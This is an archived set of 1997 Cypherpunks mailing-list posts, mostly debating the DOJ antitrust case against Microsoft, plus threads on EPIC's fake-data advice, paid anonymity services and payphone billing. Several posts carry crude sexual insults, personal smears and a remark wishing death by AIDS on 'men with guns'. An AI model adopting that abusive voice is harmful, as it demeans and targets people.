> include Netscape Navigator. Well, none have yet elected to do so...quite
> probably because Netscape is _charging_ for this, and MS is not.

They would if the consumers demanded it. Of course the consumers can get
netscape for free if they want it. Lots of folks use their computers for more
productive work than interenet browsing and don't want any browser at all.

> (To Ralph Nader, and perhaps even to Attila, that MS is _giving_ away its
> browser, free for the download and free to the PC vendors, is itself a
> crime.)

Sure - unfair competition. :-) They'll go after GNU and linux too, given
time. Remember how Ziff-Davis publications refused to acknowledge the
exietence of free software or sharewre (and mostly still do)? Remember the talk
about licencing software developers?

> >    this is my one big fear: the DOJ will accept a plea
> >    bargain like they did last time and it will be back
> >    to business as usual for M$ --and they will be back in
> >    court within a year having gained even more horizontal
> >    and vertical control of the entire communications
> >    and information industries --and claiming again that
> >    they are misunderstood --and complying with the order,
> >    etc.
>
> Customers are voting with their pocketbooks. They like the MS offerings
> more than they like the competing offerings...of which there are still many.

Microsoft has gone through many failures before they finally came up with
products that consumers preferred. Microsoft benefited from very stupid
mistakes made by IBM and Sybase and Digital Research at various times, but
they've made pelnty of stupid mistakes of their own. Right now they're being
rewarded for trying many product only some of which sold well.

> (Macintosh, Unix in several flavors (incl Linux), and loyal followings for
> older OSes. Sun and Oracle and others are pushing for Java-based systems to
> obsolete the MS products. This is a major struggle which analyses about
> Microsoft's "domination" seem to ignore.)

Java's dead. However no one is preventing Atilla from writing e.g. a word
processor superior to MS Word and letting it compete in the marketplace.

> >    there is only one solution to organizations like M$
> >    which are operated without ethics: treat them to the
> >    pleasures of not only the antitrust laws but the
> >    exquisite delights of RICO.
>
> I cannot understand how Attila can so enthusiastically support this. His
> "exquisite delights" even recalls Torquemada and the Inquistion. A suitable
> term for what is being to MS, in my view.

I have mixed feelings about this... MS is a turd of the same shitpile
as DOJ, Ralph Nader, and Nescape. If one of them fucks another one of
them in the ass, as opposed to fucking an innocent bystander, we can gloat.

> >    M$ is a cancer; it has fully metasticized and is gorging
> >    itself at the banquet of the vanquished.
>
> Ralph Nader would probably be interested in hiring ATH as a speech writer.

Given free competition, MSFT would go wither away and die under its own weight.
Look at the stupidity they've unleashed in Windows 98:

* yet another user interface (while people are still retraining from 3.1 to
W95/NT4)

* No support for NTFS, but yet another wasteful file system (FAT32) [This is
really something. It's hard to fine a disk drive under 2GB these days and the
FAT filesystem is extremely inefficient on it. Instead of supporting NT's NTFS
(fairly fast and efficient; similar to OS/2 HPFS in many respects :-), MSFT
introduces yet another filesystem, that's actually slower than the 16-bot FAT
and wastes more disk storage in unsused clusters than any I've ever seen)

> >    anyway, just think where M$ would be with Royce today!
> >    Gate$ and Ballmer might be down at the local MCC for a
> >    few free 3 hots and a cot, all expenses paid, "enjoying"
> >    a well earned vacation from screwing all of us.
>
> I take it that ATH means that because something like 20 or 30 million
> Americans chose to buy Windows 95 (and thus gain the benefits we Macintosh
> users have had for many years :-}) that this means "we" were screwed?

In a sense, yes - if everyone freely chooses to use Windows 95 and not, say,
OS/2, and as the result the companies that developed software for OS/2 go
bankrupt (as most of them indeed did :-), and then there's no application
software for OS/2, then OS/2 users like myself are indeed screwed.

And it is Microsoft's fault for offering a more popular product; or perhaps
IBM's fault for fucking up OS/2.

> >    Other than the usual ills of a monopoly, what really
> >    irks anyone with a modicum of intelligence is that Gate$
> >    intends to migrate the entire package for the benefit of
> >    the couch potatoes; Gate$ intends to dictate not only
> >    what we use to view his trash, but that only his trash
> >    is splashed.
>
> Why not pick on Intel? Intel is, if anything, even more of a "monopoly"
> than MS is. While customers have some reasonable choices in OSes
> (Windows/NT, Unix, Linux, Macintosh, AmigaOS, Inferno, Java-based
> developments, etc.), the fact is that all of the surviving OSes are being
> ported to the Intel platform (pace recent announcements by Sun that Solaris
> will be on  Merced at its rollout in 1999, and earlier announcements by
> H-P, DEC, and IBM along the same lines).

Although I always buy Intel CPUs (afraid of compatability problems), there are
now plenty of clones from AMD, Cyrix, and IBM. Back in 8088 days I avoided
using Intel and insisted on the NEC clone. Intel's architecture is very
popular, but it's not necessary running on intel-made chips, or (more
relevantly) chips whose sales give Intel revenues.

> But neither MS nor Intel are "monopolies." They are just the People's
> Choice. Which always tends to cluster...the big really do get bigger. For
> awhile, at least, until the paradigm shifts and the big can't adapt quickly
> enough.

The way Microsoft seems to be unable to adapt to large hard disks :-)

> >> After the hearing Friday, Christine Varney, a former Federal
> >> Trade Commissioner now representing Netscape, was jubilant.
> >> "I think the judge has understood the seriousness of the
> >> issue," she said.
> >>
> >    she had every reason to be jubilant --so far. even if
> >    the judge did not fully understand the technological
> >    bullshit M$ was trying to slide on by, the judge fully
> >    understands that M$ was trying to blind pitch him --and
> >    insulting him to boot.
>
> Of _course_ she's jubilant! Netscape wants its "rightfully-earned monopoly"
> back! Has anyone forgotten that in 1995 it was looking like Netscape would
> be on 95% of all desktops, Windows, Mac, and Unix, and that it was turning
> into the Big Bad Monopoly? Are memories really that short?
>
> Netscape has been using its legal manouvers to attempt to stop Microsoft
> from horning in on _its_ monopoly.
>
> (I hate using the term "monopoly," but if critics of MS are going to use
> it, hey, when in Rome....)

I should also mention that Netscape was engaging in pretty nasty (although
legal) behavior by "enhancing" its browser to support non-standard HTML
extensions; some assholes uses these extensions on their web sites and then
theycould only be browser properly with a Netscape browser.

> >> Microsoft stock closed at $128.69, down $2.19 on NASDAQ,
> >> where it was among the most active issues.
>
> >    yes, down almost 20 points since their fiasco with the
> >    DOJ started. before it's over, I hope to see M$ listed
> >    with the junk bonds and issues --in the penny stocks.
> >
>
> Yep, sort of the way Netscape stock went from its IPO price of around $25
> (in today's shares) to $80 when it looked like Netscape Navigator and
> related products were going to be the Next Big Monopoly....and then
> plummeted down to the $30-40 range as it appeared this was not the way
> things were going to turn out....
>
> Netscape stock is currently at $27 3/4, just about where it began trading
> in '95.

I haven't look at NSCP's reports at all, but I presume most of their revenues
comes from their server sales, not the browser licenses?

> Perhaps the graphics chip companies facing extinction as Intel puts massive
> graphics capabilities into new chips can sue on antitrust grounds and get a
> "special master" to dictate to Intel what features it may put into chips?

it's funny that you mention this: I was just talking to someone who mentioned
that Lockheed-Martin is threatening INTC with anti-trust if Intel puts graphics
features in its chipsets that would hurt the sales some Lockheed-Martin
subsidiary. I suppose S3, Dimond multimedia, et al will b happy to join.

> (Certainly the long-departed Weitek might have survived a few more years
> had Ralph Nader turned his unsafe at any speed attention to the floating
> point processing market and gotten an injunction against Intel putting
> onboard floating point instructions into the 486.)

Hmm - having used Weitek chips a lot (alongside Intel 386's) I doubt very much
that Intel's integrating the floating point unit into the 486 contributed much
to its demise. I personally quit using Weiteks when I discovered that their
double precision operations were about 10 times slower than single precision,
and in fact slower than ab Intel 80387 co-processor!

> I cannot understand how any Cypherpunk can be advocating interference in
> the market the way Attila and a few others are doing.
>
> Making jokes about Bill Gates is one thing, just harmless fun. But
> advocating the Men with Guns (TM) seize control of the products he offers
> to uncoerced customers is simply wrong.

best scenario: men with guns die from AIDS
second best: men with guns shoot each other
worst: men with guns shoot innocent bystanders
MSFT is no innocent bystander.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 22 Dec 1997 03:30:13 +0800
To: cypherpunks@toad.com
Subject: Re: Automatic Translations
Message-ID: <1.5.4.32.19971221192304.0072fd68@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



bureau42 wrote:

>Just out of curiosity I ran a paragraph of one of Bob H's wordy
>pieces through a few translations and, son of a bitch! if it didn't become
clearer!

Now this is truly helpful advice to get what's being miscommunicated
by deranged brute-forcers spit and shined and pinstripped like 
truetext masterblasters.

If some dingdong's spew comes through translation unchanged then 
it is the plain vanilla-est, the most unshaded, unnuanced, unbiased, 
untrickery, unimaginative, and thus the most omnipotent of all possible 
upchuckery aimed to infect the globe with toenail jam passing as troot
juice.

If these lies (aka blackheart pus-drip) remain unchanged by translation 
and unmangled by retranslation through all spitbucket languages and 
all Earth's cheese-bowels bent on misconstruance and prejudicial 
warp to fit preconceptions of perfectly slit-minded right to disembowel
and deny life and liberty to those of opposing views, then it is the word 
of You Know Who, and your way-behind clan better believe it, and 
copy it, and bray-pray in it and bet your bed-watering, unwavering 
Clone Constitution Bible Koran Hit Man Browser on it. 

Seattle-shrouded in this Kelvar-asbestos cloak, napalm those east of
the Rockies (and west) who question the Macrosoft Word, PR sizzle 
those who mock it, and Jesus-crowbar the infidels who mess with 
mismarketing PICS to the world's DoJs and 1st Amend lingo 
freedom-futzing bill-mauling mud-doggies.

Sez Iggy, plain and simple.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lance Cottrell <loki@infonex.com>
Date: Mon, 22 Dec 1997 07:06:38 +0800
To: cypherpunks@toad.com
Subject: Re: Hate speech and censorship
In-Reply-To: <199712200621.HAA13824@basement.replay.com>
Message-ID: <v03102802b0c3484bd59d@[206.170.115.5]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 10:58 AM -0500 12/20/97, Dr.Dimitri Vulis KOTM wrote:
<SNIP>
>I also wouldn't trust Lance Cottrell.  He's selling privacy for the $$, not
>for the ideology; he'll bend over the moment he thinks there's more $$ in
>bending over, which is usually the case.
>Remember how Sameer Parekh's C2Net used to try to peddle a "privacy ISP"
>because he failed miserable and diversified into peddiling shitty software
>and making idiotic legal threats? He happily pulled plugs bases on content,
>while at the same time stating in court papers that he doesn't censor content.
>What a pathological liar.
>

I am very glad some helpful anonymous individual forwarded this note to me.
These days I only read a filtered version of the Cypherpunks, although I
host one of the unfiltered nodes, and Dr. Vulis has been in my kill file
for some time.

I am a bit startled at his assumption that because I charge for my services
that I would bend at the first sign of trouble or pressure. Allow me to
clarify my business interests. The Mixmaster software I created is free and
licensed under GNU Copyleft. I do not and never have charged for the use of
the Mixmaster remailer I run at mixmaster@remail.obscura.com. At this time
we charge for anonymous ISP accounts, shell accounts and web hosting, and
for the Anonymizer. I don't think anyone would every expect me to offer
free Internet services with technical support. We also charge for
unrestricted use of The Anonymizer (a free unlimited trial with 30 sec.
delay is available to anyone). We did not want to charge for use of the
Anonymizer, but the advertising supported model for the service fell
through when advertisers turned out to be smart enough to see that the
whole point of The Anonymizer is to keep them from gathering the data which
is the whole reason the like to advertise on the Internet in the first
place. The Anonymizer is not like a remailer in the resources it consumes.
I have run remailers from home machines over 14.4kbps modems. The
Anonymizer will overload a T1 (up to 1000 ms ping times) by its self. This
translates to approximately $2000 of generosity per month, more than I can
afford by a wide margin.

As to my ideology, I think the fact that I run many of my services for
free, and the rest with a limited free option, and that I could double or
triple my income if I closed shop and went to work for someone else, speak
for themselves.

As long as privacy tools are free and run by hobbyists they remain, on the
whole, toys. Fees allow me to have several people working full time to
provide technical support, software development, and other services.

I think anonymity is important. I have thought so for many years. I have
put my time and efforts where my mouth is. I think that my contributions
have not been insignificant. I hope that the public feels that privacy is
important too, or I am wasting my time. The fact that they are willing to
pay for strong privacy and anonymity shows that they do.

Dr. Vulis' attack on Sameer was much worse than his attack on me. It is
totally off base. Sameer handed off most of his "privacy ISP" business to
me. The reason for this was not that it was failing, but that the software
side of the business was so much more successful. About half his efforts
were going toward a service generating about 10% of his revenues. Not to
focus his efforts would have been very poor business practice.

I don't care to be involved in long flame wars, or pointless and endless
arguments, so I will not be following this thread on the list. My record,
reputation, and positions are well documented, and easy to research. Anyone
who wants the truth should have no difficulty finding it.

	-Lance Cottrell


- ----------------------------------------------------------
Lance Cottrell   loki@infonex.com
PGP 2.6 key available by finger or server.
http://www.infonex.com/~loki/

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
- ----------------------------------------------------------


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 22 Dec 1997 04:22:01 +0800
To: cypherpunks@toad.com
Subject: Don't lie to the marketers or Feds! from ZDNET
Message-ID: <v03007802b0c302dcce4d@[204.254.22.15]>
MIME-Version: 1.0
Content-Type: text/plain





http://www.zdnet.com/intweek/print/971215/264108.html

>For Social Security Number, the EPIC page recommends using
>a number, which won't be reprinted here, used on "sample"
>cards decades ago. The figuring: "Most clerks probably
>won't recognize it as a fake" and it won't interfere with
>other Social Security numbers.
>
>For addresses, the EPIC page suggests using hometown parks,
>city halls and police stations. It specifically suggests
>the address of Comiskey Park in Chicago. Makes one wonder
>how White Sox officials feel about the prospect of getting
>extra junk mail and spam really destined for disciples of
>EPIC's peculiar freedom of information act. What crime
>against the common good did Jerry Reinsdorf commit except
>to sign Albert Belle to an ungodly contract undermining
>baseball owner solidity against rising salaries?
>
>For telephone numbers, the recommendation is
>1-202-224-3121. That turns out to be the switchboard of the
>U.S. Congress. If this is intended to send some sort of
>message to solons about the loss of control of personal
>information, it's likely to be wholly lost. The only people
>it will punish are operators handling incoming calls at the
>Capitol. They will only regard the extra calls as more
>wrong number calls they have to handle. They will have no
>way to figure out that this is some sort of subgrassroots
>effort to gum up the works. And they will certainly have no
>way to provide statistics to Congress on the result.
>
>The EPIC page is, in that last case, urging Americans to
>waste taxpayer dollars, for no clear purpose.
>
>On a larger scale, the EPIC document only exacerbates the
>issue it tries to solve. The answer to the loss of control
>of personal information on the Internet is not to
>contribute instead to a boom in unreliable data.
>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Mon, 22 Dec 1997 07:33:03 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Don't lie to the marketers or Feds! from ZDNET
In-Reply-To: <v03007802b0c302dcce4d@[204.254.22.15]>
Message-ID: <v03102802b0c3537ee3ea@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:15 PM -0500 12/21/1997, Declan McCullagh wrote:
>http://www.zdnet.com/intweek/print/971215/264108.html
>
>>For Social Security Number, the EPIC page recommends using
>>a number, which won't be reprinted here, used on "sample"
>>cards decades ago. The figuring: "Most clerks probably
>>won't recognize it as a fake" and it won't interfere with
>>other Social Security numbers.
>>
>>For addresses, the EPIC page suggests using hometown parks,
>>city halls and police stations. It specifically suggests
>>the address of Comiskey Park in Chicago. Makes one wonder
>>how White Sox officials feel about the prospect of getting
>>extra junk mail and spam really destined for disciples of
>>EPIC's peculiar freedom of information act. What crime
>>against the common good did Jerry Reinsdorf commit except
>>to sign Albert Belle to an ungodly contract undermining
>>baseball owner solidity against rising salaries?
>>
>>For telephone numbers, the recommendation is
>>1-202-224-3121. That turns out to be the switchboard of the
>>U.S. Congress. If this is intended to send some sort of
>>message to solons about the loss of control of personal
>>information, it's likely to be wholly lost. The only people
>>it will punish are operators handling incoming calls at the
>>Capitol. They will only regard the extra calls as more
>>wrong number calls they have to handle. They will have no
>>way to figure out that this is some sort of subgrassroots
>>effort to gum up the works. And they will certainly have no
>>way to provide statistics to Congress on the result.
>>
>>The EPIC page is, in that last case, urging Americans to
>>waste taxpayer dollars, for no clear purpose.
>>
>>On a larger scale, the EPIC document only exacerbates the
>>issue it tries to solve. The answer to the loss of control
>>of personal information on the Internet is not to
>>contribute instead to a boom in unreliable data.
>>

Of course it is.  It hit these companies where it hurts most, their wallet when they try and sell data which purchsers find unreliable and refuse to purchse again or let leak to others thinking of purchasing.  If these companies cannot accurately collect data which customers really don't want to give them (and they may not have a lawfull requirement to request) anyway they may eventually stop asking since they're getting garbage.

The cure for SPAM is more SPAM.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Mon, 22 Dec 1997 07:30:57 +0800
To: Joichi Ito <jito@eccosys.com>
Subject: Re: Is Anonymous Communication only for "Criminals"? (was: Re:  UCENET II and Peter duh Silva)
In-Reply-To: <Pine.BSF.3.91.971220102724.24864D-100000@mcfeely.bsfs.org>
Message-ID: <v03102800b0c300fd81ba@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



>At 10:36 97/12/20 -0500, Rabid Wombat wrote:
>
>> More like simple economics; after the breakup, a lot of pay phones were 
>> operated by companies specializing in this type of service. Pay phones 
>> are high maintenance, and their operators can only turn a profit by 
>> charging very high rates; if you make a quick call and ask the other 
>> party to call you back at the pay phone, the pay phone operator doesn't 
>> make much money.
>> 
>> Can you site any legislation barring pay phones from receiving calls? I'd 
>> think that most pay phone operators would be glad to deny incomming calls 
>> if they were allowed to (as they often are), and wouldn't need to be forced.
>
>Can't a pay phone operator get paid a portion of incoming calls as well?
>If they can set outgoing rates to be very high, couldn't they set their
>incoming rates as well? (This is not an opinion, but a question.)
>I do know that depending on the arrangement, phone companies either
>carry all incoming call for free or cross bill incoming minutes to each other.

There's probably is little incentive for the originating carrier to share their revenue with the phone operator.   The originating carrier could try and pass on the added cost of the payphone usage to the caller but this complicates the call completion arrangements, including (probably) the use of an Automatic Voice Response notifying the caller of the additional charges.  I've heard some U.S. cellular carriers are experimenting with "caller pays" billing.  Does anyone on the list have experience with "caller pays"?

An alternative to a change in billing arrangements might be to enhance the payphone.  All the phone manufacturer needs is to add a feature which disconnects the audio from the handset, alternately displays the incoming caller's number and a request for payment in order to complete the call.  The display continues and the audio is disconnected for as long as the incoming call is present.  Deposit the money and the call's audio is connected to the handset.  Operator is paid.  If desired, the phone can request payment in amount and frequency which corresponds to a easily understood rate (e.g., a local call.)

Possible problems: 
1. Lack of information/loss of anonymity--if the caller has their Caller-ID blocked and neglects to temporarily turn it off the receiving phone will only be able to display "Unknown Caller,"  causing person waiting for a call to gamble that the caller is from the party expected, if caller turns off their Caller-ID block anyone near the phone can see their phone number whether or not the call completes or the expected receiving party is present.

2. Possible incompatibilities with existing payphone payment signaling systems.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 22 Dec 1997 04:53:12 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Why I Support Microsoft
Message-ID: <1.5.4.32.19971221205217.00741904@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The NYT reports today on the MS-DoJ case and notes that
Microsoft has opposed the administration on several
issues -- one being encryption -- which have captured the
attention of publicity-seeking legislators as well.

Another NYT report is on Microsoft's past neglect of major
lobbying of the government and bigtime contribution to PACs, 
in contrast to other industrial giants, and that MS it is fast coming 
around on both counts now, with big bucks being poured into 
DC coffers of PR firms. (Could this beneficence be the incentive
of $ieger and $habbar?)

The report notes that Microsoft is for the first time beginning to
consider that it cannot continue to grow without coming to
terms with the USG, the lesson all the giants have learned so
well and are happy to see Bill Gates cut down to fit the mold.

Now, was it not the case that not too long ago Microsoft was
allegedly funding the strong crypto bills? And is a plea bargain
in the works for MS sentence of worldwide GAK in Explorer?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Sun, 21 Dec 1997 15:36:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Is Anonymous Communication only for "Criminals"? (was: Re: UCENET II and Peter duh Silva)
In-Reply-To: <19971220162410.14018@die.com>
Message-ID: <199712210732.QAA12422@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:36 97/12/20 -0500, Rabid Wombat wrote:

> More like simple economics; after the breakup, a lot of pay phones were 
> operated by companies specializing in this type of service. Pay phones 
> are high maintenance, and their operators can only turn a profit by 
> charging very high rates; if you make a quick call and ask the other 
> party to call you back at the pay phone, the pay phone operator doesn't 
> make much money.
> 
> Can you site any legislation barring pay phones from receiving calls? I'd 
> think that most pay phone operators would be glad to deny incomming calls 
> if they were allowed to (as they often are), and wouldn't need to be forced.

Can't a pay phone operator get paid a portion of incoming calls as well?
If they can set outgoing rates to be very high, couldn't they set their
incoming rates as well? (This is not an opinion, but a question.)
I do know that depending on the arrangement, phone companies either
carry all incoming call for free or cross bill incoming minutes to each other.

 - Joi

--
PGP Key: http://pgp.ai.mit.edu:11371/pks/lookup?op=get&search=0x2D9461F1
PGP Fingerprint: 58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ji.to



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <ryan@michonline.com>
Date: Mon, 22 Dec 1997 05:50:54 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Why I Support Microsoft
In-Reply-To: <v0310280db0c2f8195048@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.971221161351.14848B-100000@king>
MIME-Version: 1.0
Content-Type: text/plain



> Anyway, the recent government actions against Microsoft are reprehensible
> to any person who values liberty. Microsoft is being punished for its
> success.

No, Microsoft is being punished for consistently attempting to eliminate
all competition for PC computer software.  MS achieved a monopoly on the
operating system.  Fine.  They've pretty much earned one in the Desktop
application suite market.  (Partly because they give themselves access to
documentation and versions of the OS before anyone else, and partly
because they don't document large portions of the API, but....)  With the
Web browsers Netscape had a clear market-share lead.  Microsoft responded
with a free browser.  

Remember, under current Anti-trust laws, Microsoft clearly qualifies as a
monopoly.  And giving away products in a potentially competitive market is
clearly predatory pricing.  (And frankly, it has the nice side-effect of
eliminating any chance of choice for the consumer in the long run.)  Check
the surveys done (or published by, I'm not sure right now) Infoworld about
where companies are planning on being in 6 months with regards to web
browsers.   The supposed Netscape dominance in the browser market is going
to completely disappear.

Isn't this enough to tell Microsoft that it has to limit its licensing
deals some?  

Capitalism depends on competition to work, and we've seen several times in
this country that it tends to break down when extremely large companies
begin to dominate a market.  Hence our antitrust laws.  That's entirely
what Microsoft is being sued under.  (In principal, if not actuality..)

Ryan Anderson - Alpha Geek
PGP fp: 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Mon, 22 Dec 1997 01:19:46 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: Making them eat their words... (while they watch!)
In-Reply-To: <3.0.3.32.19971219170957.0300f6f0@earthlink.net>
Message-ID: <19971220.051132.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

> WASHINGTON (Reuters) - A federal judge Friday told Microsoft
> Corp.  he easily uninstalled the company's Web browser
> without breaking Windows 95 and ordered company officials to
> explain why they could not do the same.  "Windows 95
> functioned flawlessly" with Internet Explorer uninstalled,
> U.S.  District Judge Thomas Penfield Jackson told Microsoft.
>
    mistake #1: dont piss off a federal judge --let alone 
    try to show that he is ignorant.
 
> After the hearing, Brad Smith, associate general counsel of
> Microsoft, was asked about news reports speculating that the
> company might settle the case.
> 
> "There's no discussion that I'm aware of," he said in a
> telephone interview, adding that he probably would know
> about such discussions.  "The case is continuing."
> 
    this is my one big fear: the DOJ will accept a plea
    bargain like they did last time and it will be back
    to business as usual for M$ --and they will be back in
    court within a year having gained even more horizontal
    and vertical control of the entire communications
    and information industries --and claiming again that
    they are misunderstood --and complying with the order, 
    etc.

    there is only one solution to organizations like M$ 
    which are operated without ethics: treat them to the
    pleasures of not only the antitrust laws but the 
    exquisite delights of RICO.

    M$ is a cancer; it has fully metasticized and is gorging   
    itself at the banquet of the vanquished.

    if the legal juggernaut keeps building momentum at the 
    current rate, there will hopefully be no alternative to
    carry the investigation to its culmination after the
    report of the special master in May. 

    the appointment of the special master was a clear 
    indication that the judge wishes to get at the bottom
    of the tank and examine the underpinnings and 
    motivations of M$ total modus operandi --yes, and M$ is
    crying foul that the judge is going past the original 
    complaint of the DOJ --but, despite M$' claims, the
    judge is giving M$ time to be heard --six months.

    seems to me Jackson inherited the case from Royce 
    Lamberth who was overruled and removed by the appeal 
    court when he refused to OK the DOJ settlement in 
    question. Gary Reback had a hand in educating Lambert
    to the dangers of M$.  Is Reback representing anyone 
    in the case before Jackson as an intervener or in an 
    amicus curiae brief?

    Lambert's at it again --taking the government head on
    over Hillary's obfuscation over her health care
    committee--

        "The White House and lawyers defending first lady 
        Hillary Rodham Clinton lied in an effort to keep
        internal working papers used to develop President
        Clinton's universal health care plan in 1993 secret,
        a federal judge said Thursday.

        "Using blunt language in a written order, U.S. 
        District Judge Royce C. Lamberth also accused
        administration officials at "the highest levels of
        government" of engaging in a "cover-up" and
        pressuring the Justice Department to defend its 
        "dishonest" actions."
 
    anyway, just think where M$ would be with Royce today!
    Gate$ and Ballmer might be down at the local MCC for a
    few free 3 hots and a cot, all expenses paid, "enjoying"
    a well earned vacation from screwing all of us.

    Other than the usual ills of a monopoly, what really 
    irks anyone with a modicum of intelligence is that Gate$    
    intends to migrate the entire package for the benefit of
    the couch potatoes; Gate$ intends to dictate not only
    what we use to view his trash, but that only his trash
    is splashed.

> Smith also said that the uninstall mechanism described by
> the judge actually left 97 percent of Internet Explorer
> intact, removing little more than the "icon" on the screen
> known as the "desktop." 
>
    so? M$ can fill any hard disk --the more powerful the
    computer, the more energy the pretty program loader on
    a boot sector virus base requires. what's a few spare
    bytes here and there?  So, Mr. Smith, just tell us what
    files are useless and we'll delete them too.

> He said that despite what Jackson said about the program
> functioning flawlessly, the removal breaks a couple of
> functions in Windows 95, such as the ability to easily
> download other Web browsers.  Smith said Windows 95 is a
> technologicially complex product that is best left alone
> by the government.  "You simply can't slice and dice it
> with a legal meat cleaver," Smith said.
> 
    well, maybe we can just "slice and dice it" right out 
    the market place. his arguments are pure mumbo jumbo for
    the unwashed --or, more of Gate$' usual arrogance.

 > 
    well, of course, you can not pull a web download if you
    remove the browser...  but you can get it with ftp, 
    rz, or standard mail via your ISP (if Netscape wants to
    make it available that way).  more blowing of smoke as
    usual. M$ would like us to believe that removing
    Explorer means that PPP, etc. plus basic net utilities
    must be removed as well. the browser is not the only
    program that uses the PPP or wired connection.

    whether or not the judge just removed the icon or not
    becomes irrelevant rather quickly...  the point is that
    he took the trouble to look at the issue after the DOJ
    came in complaining that M$ was giving him the freeway
    salute (both hands off the wheel, too). 

    Secondly, a judge is not prohibited from reading news
    analysis of the technical issues involved --particularly
    since the news articles are reflecting the complaints of
    the competition which has been injured by M$' actions,
    and the user groups who are complaining about all of M$'
    competition being literally expunged from the
    marketplace by M$' predatory actions. all of the news
    material is clearly relevant in an antitrust action.
    Even the NYTimes stated in an editorial M$ was defying
    the judges order and mocking the whole process.

> The Justice Department, however, is beefing up its legal
> team.  It has retained David Boies, a highly regarded New
> York lawyer, to help try the case against Microsoft.
> 
    yes, I would say they are serious, and paying close to 
    $300 per hour for his time --but only half his usual 
    rate.

    keep in mind that his fee is just the tip of the iceberg
    --consider the enormous staff the man will require just
    to paw through and analyze the mountains of information
    on both sides plus the obvious tactic of burying the 
    case in even more mounds of paperwork from M$' legal
    flunkies, which probably number between 200 and 500 full
    blown lawyers culled from most of the prestigious firms
    in the US. then add support staff, researchers, clerks, 
    etc....

    I doubt Boies will use that many DOJ staff attorneys
    --lack of performance as the good ones leave after the
    initial intern experience for the extra bucks in private 
    firms on the other side of the table.  only the lazy and
    incompetent hang around the DOJ for a career.

> After the hearing Friday, Christine Varney, a former Federal
> Trade Commissioner now representing Netscape, was jubilant.
> "I think the judge has understood the seriousness of the
> issue," she said.
> 
    she had every reason to be jubilant --so far. even if
    the judge did not fully understand the technological
    bullshit M$ was trying to slide on by, the judge fully 
    understands that M$ was trying to blind pitch him --and
    insulting him to boot.

    M$' freeway saluting of the judge may have changed the
    destiny of M$ by that very action. Gate$ pulled his
    usual arrogance out of his ass and slapped it on the
    table presuming everybody knew he was the smartest kid
    on the block --and his shit did not stink.

> Microsoft stock closed at $128.69, down $2.19 on NASDAQ,
> where it was among the most active issues.
> 
    yes, down almost 20 points since their fiasco with the  
    DOJ started. before it's over, I hope to see M$ listed
    with the junk bonds and issues --in the penny stocks.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Mon, 22 Dec 1997 01:21:44 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Hee Haw! DOJ hires big bad dog for M$ kill!
Message-ID: <19971219.165411.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    Hee Haw! DOJ hires big bad dog for M$ kill!

    http://www.zdnet.com/zdnn/content/reut/1219/265045.html

        "The Justice Department has hired New York superlawyer 
        David Boies to help the government win its antitrust 
        case against Microsoft Corp, 

        "...the government's decision to hire Boies signaled its
        determination to win its case...."

            Reuters December 19, 1997 7:30 AM PS

    Sic 'Em. Rover!

    now that is fair use! [double your bubble, too]


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Mon, 22 Dec 1997 01:21:44 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: fuckin' M$ blowing smoke blown
Message-ID: <19971219.164101.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



    this is more than fair use, but worth the read --and I am too lazy
    and short of time this morning to condense it.

-----BEGIN PGP SIGNED MESSAGE-----

>>> fuckin' M$ blowing smoke blown

Microsoft claim debunked!  
By Michael Caton 
December 18, 1997 5:54 PM PST 
PC Week Online

When Ronald Reagan's facts were in contradiction with
reality, he would later claim that he "misspoke."  Microsoft
Corp.  misspoke this week when it asserted that Internet
Explorer cannot be removed from Windows 95.

